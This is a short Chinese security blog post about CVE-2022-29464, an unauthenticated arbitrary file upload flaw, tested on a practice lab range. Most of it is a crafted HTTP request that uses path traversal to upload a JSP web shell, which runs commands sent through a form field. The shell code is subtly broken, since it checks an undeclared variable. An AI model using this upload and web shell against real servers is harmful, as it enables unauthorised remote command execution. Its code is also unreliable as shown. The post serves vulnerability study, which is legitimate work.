CVE-2022-29464

cultureSun

发布于 2023-05-18 14:50:43

2810

发布于 2023-05-18 14:50:43

文章被收录于专栏：cultureSun学安全cultureSun学安全

简介

看一下chat-gpt介绍这个漏洞。如下：

非常智能。环境搭建：使用春秋云境免费靶场。

详解

漏洞是无身份验证且无限制的任意文件上传。

直接访问首页，用burp抓包。
重构数据包，如下：

POST /fileupload/toolsAny HTTP/2
Host: http://eci-2zed31qpgb0lqk2ppaj3.cloudeci1.ichunqiu.com:9445
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 901
Content-Type: multipart/form-data; boundary=4ef9f369a86bfaadf5ec3177278d49c0
User-Agent: python-requests/2.22.0

--4ef9f369a86bfaadf5ec3177278d49c0
Content-Disposition: form-data; name="../../../../repository/deployment/server/webapps/authenticationendpoint/shell.jsp"; filename="../../../../repository/deployment/server/webapps/authenticationendpoint/shell.jsp"

<FORM>
    <INPUT name='cmd' type=text>
    <INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
    <%
    String command = request.getParameter("command");
    String output = "";
    if(cmd != null) {
        String s = null;
        try {
            Process p = Runtime.getRuntime().exec(command,null,null);
            BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
            while((s = sI.readLine()) != null) { output += s+"</br>"; }
        }  catch(IOException e) {   e.printStackTrace();   }
    }
%>
        <pre><%=output %></pre>
--4ef9f369a86bfaadf5ec3177278d49c0--

Other